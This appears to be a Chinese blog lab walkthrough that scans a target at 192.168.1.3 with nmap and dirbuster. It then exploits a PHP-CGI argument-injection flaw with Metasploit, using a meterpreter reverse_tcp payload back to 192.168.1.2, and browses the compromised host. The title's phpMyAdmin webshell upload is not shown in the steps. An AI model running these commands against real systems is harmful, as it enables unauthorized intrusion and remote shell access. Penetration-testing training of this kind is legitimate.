利用phpMyAdmin漏洞上传木马程序，获得webshell。
CGI脚本没有正确处理请求参数，导致源代码泄露，允许远程攻击者在请求参数中插入执行命令。
一、利用nmap工具扫描目标主机
1.1使用nmap命令对目标主机进行扫描。单击桌面空白处，右键菜单选择“在终端中打开”。
1.2在终端中输入命令“nmap –sV 192.168.1.3”，对目标主机进行端口扫描，发现开放80端口。
1.3在浏览器地址栏中输入“http:\\192.168.1.3”，访问目标网站。
二、利用dirbuster扫描目标主机
2.1在终端中输入命令“dirbuster”，启动软件对目标网站进行扫描。
2.2在Target URL处输入“192.168.1.3”，在File with list of dirs./file处选择字典文件（/usr/share/dirbuster/wordlists/目录下），单击“Start”按钮，开始扫描。
2.3扫描结果显示包含cgi-bin目录、phpmyadmin目录等。
三、利用metasploit攻击目标主机
3.1在终端中输入命令“msfconsole”，启动MSF终端。
3.2在终端中输入命令“search php_cgi”，搜索php_cgi的相关工具和攻击载荷。
3.3在终端中输入命令“use exploit/multi/http/php_cgi_arg_injection”，启用漏洞利用模块, 提示符就会提示进入到该路径下。
3.4在终端中输入命令“show payloads”，显示Metasploit中可以在远程主机执行的代码，即shellcode。
3.5在终端中输入命令“set PAYLOAD php/meterpreter/reverse_tcp”，设置使用的shellcode代码。
3.6在终端中输入“show options”，显示攻击模块需要设置的参数。
3.7在终端中输入“set LHOST 192.168.1.2”,设置源主机的IP地址，用于会话的反向链接。
3.8在终端中输入“set RHOST 192.168.1.3”,设置目标主机的IP。
3.9在终端中输入“exploit”,开始对目标主机进行攻击。
3.10在终端中输入“sysinfo”,查看系统环境信息。
3.11在终端中输入“ls”,显示当前目录下的文件内容。
3.12在终端中输入“cat phpinfo.php”,查看文件内容。
本文出自 “12377962” 博客，请务必保留此出处http://12387962.blog.51cto.com/12377962/1881881
原文地址：http://12387962.blog.51cto.com/12377962/1881881
